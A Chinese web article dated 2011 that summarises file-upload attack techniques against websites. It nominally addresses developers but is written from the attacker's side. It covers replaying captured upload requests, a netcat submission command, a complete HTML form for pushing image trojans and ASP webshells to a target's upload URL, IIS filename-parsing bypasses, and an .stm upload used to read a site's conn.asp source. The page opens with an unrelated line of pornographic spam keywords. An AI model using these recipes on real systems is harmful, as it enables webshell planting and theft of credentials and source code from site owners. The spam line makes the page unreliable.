欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

腳本入侵-上傳漏洞總結(jié)篇(臭小子)

  發(fā)布時(shí)間：2011-04-24 15:44:59   作者：佚名   我要評(píng)論
腳本入侵-上傳漏洞總結(jié)篇(臭小子),從事于網(wǎng)站開發(fā)的程序員要看下，不要讓自己的程序別黑客利用。
1：抓包上傳
我們可以用WSockExpert(抓包工具) hkcpost抓包提交軟件或等等抓包工具
說下hkcpost有時(shí)候電腦打不開WSockExpert(抓包工具) 我們就用這工具
很好用
說到抓包上傳 比如一個(gè)上傳地址http://site/upload.asp
或后臺(tái)管理后臺(tái)上傳地址
我們就抓包c(diǎn)ookies 參數(shù) 和文件上傳成功地址
然后用明小子或等等抓包工具 上傳。大家可以去百度搜索相關(guān)的教程和文章看看


2：抓包和nc上傳
抓包c(diǎn)ookies 參數(shù) 和文件的數(shù)據(jù) 然后保存成文本 比如hack92.txt
然后用編譯C32asm 或等等編譯工具 修改
然后用nc.exe 提交 命令nc -vv site 80<hack92.txt
大家可以去百度搜索下nc上傳 或突破 等等教程文章看


3：本地上傳漏洞
把下面的代碼 保存為hack92.html
------------------------------
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css>BODY {
FONT-SIZE: 9pt; BACKGROUND-COLOR: #e1f4ee
}
.tx1 {
BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #000000 1px solid; COLOR: #0000ff; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 20px
}
</STYLE>

<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
<BODY leftMargin=0 topMargin=0>
<FORM name=form1 action="把上傳地址復(fù)制這里到這里" method=post
encType=multipart/form-data><INPUT class=tx1 type=file size=30 name=FileName> <INPUT class=tx1 type=file size=30 name=FileName1> <INPUT style="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上傳 name=Submit>
<INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID> </FORM></BODY></HTML>
------------------------------------------
添加上傳地址
把<FORM name=form1 action="把上傳地址復(fù)制這里到這里" method=post
把：把上傳地址復(fù)制這里到這里 你的上傳地址
然后打開hack92.html 出現(xiàn)兩個(gè)頁面 第一個(gè)上你的圖片木馬 然后在上你的ASP木馬
提示在上asp木馬記得 加個(gè)空格


4：iis漏洞
把我們的asp木馬 改成xxx.asp;xxx.jpg 或xxx.asp.jpg
或建立asp.asp asa.asa 目錄 上圖片asp木馬


5：上傳突破
當(dāng)網(wǎng)站不允許上傳asp .. cer ..cdx . htr 等文件時(shí)，上傳一個(gè)stm文件，代碼為 “”(想查看什么文件就寫什么文件名，這里我假設(shè)想查看的文件名為”conn.asp”),，然后直接打開這個(gè)stm文件的地址，再查看源代碼，“conn.asp”這個(gè)文件的代碼就一覽無遺了!


大家可以去百度搜索相關(guān)的文章和教程

相關(guān)文章

最新評(píng)論